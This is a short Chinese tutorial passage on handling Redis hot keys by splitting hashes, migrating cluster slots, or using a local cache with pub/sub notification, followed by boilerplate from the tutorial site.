那么发现完热点keyc;怎么去解决热点key的问题? 1)拆分复杂数据结构:如果当前key的类型是一个二级数据结构c;例如哈希类型。如果该哈希元素个数较多c;可以考虑将当前hash进行拆分c;这样该热点key可以拆分为若干个新的key分布到不同redis节点上c;从而减轻压力。 2)迁移热点key:以redis Cluster为例c;可以将热点key所在的slot单独迁移到@R_874_10062@redis节点上c;但此操作会增加运维成本。 3)本地缓存加通知机制:可以将热点key放在业务端的本地缓存中c;因为是在业务端的本地内存中c;处理能力要高出redis数十倍c;但当数据更新时c;此种模式会造成各个业务端和redis数据不一致c;通常会使用发布订阅机制或者消息中间件来解决类似的数据不一致问题。
五种数据结构底层实现c;限流、lru、布隆过滤器、数据一致性、多路复用IO模型、零拷贝、分布式锁
以上是大佬教程为你收集整理的redis(七)、运维配置注意全部内容,希望文章能够帮你解决redis(七)、运维配置注意所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。